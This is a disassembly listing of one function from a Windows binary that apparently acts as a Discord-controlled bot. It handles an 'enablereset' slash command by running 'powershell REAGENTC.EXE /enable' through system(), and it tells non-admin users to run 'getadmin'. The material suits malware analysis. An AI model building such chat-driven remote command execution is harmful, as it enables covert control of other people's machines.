Function at 0x1400595a0
Capabilities:
Execute command

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x3c8
lea rbp, [rsp + 0x20]
mov dword [rbp + 0x364], 0
lea rcx, [0x1400b11be]
call fcn.14002b720
mov rax, qword [rbp + 0x3c8]
add rax, 0x40
mov qword [rbp + 0x378], rax
lea rdx, [rbp + 0x1a8]
mov rcx, qword [rbp + 0x378]
call qword [sym.imp.dpp.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char_____cdecl_dpp::interaction::get_command_name_void____ptr64]
mov qword [rbp + 0x380], rax
mov eax, dword [rbp + 0x364]
or eax, 1
mov dword [rbp + 0x364], eax
lea rdx, str.enablereset
mov rcx, qword [rbp + 0x380]
call fcn.14002a956
movzx eax, al
test eax, eax
je 0x14005965e
mov rax, qword [rbp + 0x3c8]
add rax, 0xd0
mov qword [rbp + 0x388], rax
mov rdx, qword [0x1400a2b50]
mov rcx, qword [rbp + 0x388]
call fcn.14002b58b
movzx eax, al
test eax, eax
je 0x14005965e
mov dword [rbp + 0x390], 1
jmp 0x140059668
mov dword [rbp + 0x390], 0
movzx eax, byte [rbp + 0x390]
mov byte [rbp + 0x184], al
mov eax, dword [rbp + 0x364]
and eax, 1
test eax, eax
je 0x140059695
and dword [rbp + 0x364], 0xfffffffe
lea rcx, [rbp + 0x1a8]
call fcn.14002a44c
movzx eax, byte [rbp + 0x184]
test eax, eax
je 0x1400597c8
mov rax, qword [rbp + 0x3c0]
cmp dword [rax], 0
je 0x140059740
lea rax, [rbp + 0x1e8]
mov qword [rbp + 0x248], rax
mov rcx, qword [rbp + 0x248]
call qword [sym.imp.dpp.dll_class_std::function_void____cdecl___struct_dpp::confirmation_callback_t_const____ptr64_____cdecl_dpp::utility::log_error_void_]
mov qword [rbp + 0x378], rax
mov rax, qword [rbp + 0x378]
mov qword [rbp + 0x380], rax
mov rax, qword [rbp + 0x380]
mov qword [rbp + 0x388], rax
lea rdx, str.attempting_to_enable_reset_now
lea rcx, [rbp + 0x268]
call fcn.14002aac3
nop
mov r8, qword [rbp + 0x388]
lea rdx, [rbp + 0x268]
mov rcx, qword [rbp + 0x3c8]
call qword [sym.imp.dpp.dll_public:_void___cdecl_dpp::interaction_create_t::reply_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const____ptr64__class_std::function_void____cdecl___struct_dpp::confirmation_callback_t_const____ptr64___const___ptr64]
nop
lea rcx, [rbp + 0x268]
call fcn.14002a44c
lea rcx, str.powershell_REAGENTC.EXE__enable
call qword [sym.imp.ucrtbased.dll_system]
jmp 0x1400597c6
mov rax, qword [rbp + 0x3c0]
cmp dword [rax], 0
jne 0x1400597c6
lea rax, [rbp + 0x2a8]
mov qword [rbp + 0x308], rax
mov rcx, qword [rbp + 0x308]
call qword [sym.imp.dpp.dll_class_std::function_void____cdecl___struct_dpp::confirmation_callback_t_const____ptr64_____cdecl_dpp::utility::log_error_void_]
mov qword [rbp + 0x378], rax
mov rax, qword [rbp + 0x378]
mov qword [rbp + 0x380], rax
mov rax, qword [rbp + 0x380]
mov qword [rbp + 0x388], rax
lea rdx, str.you_are_not_admin_you_need_admin_to_run_this_command_run__getadmin
lea rcx, [rbp + 0x328]
call fcn.14002aac3
nop
mov r8, qword [rbp + 0x388]
lea rdx, [rbp + 0x328]
mov rcx, qword [rbp + 0x3c8]
call qword [sym.imp.dpp.dll_public:_void___cdecl_dpp::interaction_create_t::reply_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const____ptr64__class_std::function_void____cdecl___struct_dpp::confirmation_callback_t_const____ptr64___const___ptr64]
nop
lea rcx, [rbp + 0x328]
call fcn.14002a44c
jmp 0x1400597db
lea rdx, str.not_for_me_n
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14002a2a8
lea rsp, [rbp + 0x3a8]
pop rdi
pop rbp
ret